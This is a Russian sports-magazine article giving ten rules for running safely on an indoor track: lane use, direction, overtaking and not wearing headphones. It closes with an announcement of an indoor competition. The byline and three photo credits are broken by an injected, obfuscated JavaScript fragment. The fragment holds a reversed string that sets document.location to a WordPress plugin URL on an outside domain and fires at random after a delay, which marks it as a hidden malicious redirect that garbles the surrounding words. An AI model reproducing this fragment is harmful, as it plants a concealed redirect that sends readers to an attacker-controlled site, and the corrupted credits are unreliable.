10 главных правил бега в манеже

Беговое сообщество проведёт 16 февраля свой первый зимний старт в манеже — легкоатлетические соревнования «Скорость». Редактор fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru, к. м. с. по лёгкой атлетике Лена Калашникова рассказывает о главных правилах бега в помещении. Постарайтесь их запомнить — и ваша тренировка станет безопаснее.

Зимой мало кому хватает терпения регулярно бегать на улице. К тому же проводить скоростные тренировки в мороз, когда дороги покрыты ледяной коркой, опасно. Поэтому в манежах становится всё больше посетителей. Возникает вопрос: как всем желающим поместиться на двухсотметровом круге и не мешать друг другу тренироваться?

1. Бегайте против часовой стрелки

Да, всю зиму вам придётся бегать в одну сторону. У такого бега есть свои недостатки: из-за наклона виражей происходит неравномерное распределение нагрузки на дистанции. Если у вас есть возможность побегать на улице, не упускайте её. А в манеж отправляйтесь для скоростных тренировок.

Если вам всё-таки нужно бежать по часовой стрелке, переместитесь как можно ближе к стене, чтобы никому не мешать. 

2. Помните: первая дорожка — для скоростного бега

И вторая тоже. Почему так? Длина первой дорожки — 200 метров, каждая следующая дорожка длиннее на три метра. Тому, кто выполняет интервальную тренировку и замеряет расстояние, важна каждая секунда и нужна самая короткая дистанция. Профессиональные спортсмены бегут с очень высокой скоростью, столкновение с ними может привести к серьёзным травмам. Поэтому по первой дорожке недопустим бег трусцой (разминочный или заминочный лёгкий бег или просто медленный равномерный бег). 

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

3. Разминайтесь на специально отведённых для этого дорожках

Для разминки обычно используется нулевая или внешняя дорожка. Например, в манеже «Москвич» внутренняя дорожка — нулевая, и только следующая за ней — первая. Обращайте на это внимание. В других манежах разминаются на внешней дорожке.

4. Не бегайте в наушниках

В манеже вы становитесь участником движения — и, вероятно, кому-то понадобится подать вам сигнал криком: «Уступи дорожку!» Тренируясь в наушниках, вы его не услышите, что может привести к столкновению с другим спортсменом.

5. Не бегайте шеренгой вместе с друзьями

Это неудобно для окружающих и небезопасно для вас. Обычно вместе, на соседних дорожках, могут бегать не более двух человек.

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

6. Посмотрите по сторонам, прежде чем переходить дорожки

Движение в манеже оживлённое: помимо тех, кто выполняет скоростные тренировки на первой дорожке, тут есть дети из разных физкультурных секций и спринтеры. Последние часто используют для ускорений внешние дорожки. Стартуют они глядя в пол и, скорее всего, вас не заметят.

7. Кто на дорожке, тот главный

Это правило — для тех, кто выходит на первую дорожку для скоростной тренировки. Прежде чем начать ускорение, убедитесь, что никто не приближается к месту вашего старта на большой скорости. И если приближается — пропустите его и только после этого стартуйте.

8. Обгоняйте справа

И помните, что если кто-то будет обгонять вас, он тоже будет бежать справа от вас. Если вас обгоняют, переместитесь ближе к внутреннему краю дорожки, чтобы спортсмену было проще и удобнее закончить манёвр.

9. Не меняйте резко траекторию движения

Чтобы перестроиться, оглянитесь, убедитесь, что никому не мешаете, и только после этого начинайте смещаться с одной дорожки на другую.

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

10. Не обижайтесь на громкие крики других участников движения

Помните: если кто-то кричит: «Дорожку!» — он не пытается вам нагрубить, а лишь хочет предупредить вас и попытаться избежать столкновения. 

Хотите проверить себя на дорожке? Беговое сообщество проведёт 16 февраля свой первый зимний старт в помещении — легкоатлетические соревнования «Скорость».  В программе — дистанции от 60 до 3000 метров, а также эстафета 4 x 200 метров. 

Узнать подробности

Статьи по теме

Где тренироваться зимой: 6 легкоатлетических манежей Москвы

В чём бегать осенью и зимой: 7 утеплённых моделей кроссовок

Миф: бег вреден для коленей

6 главных правил тренировок в холодное время года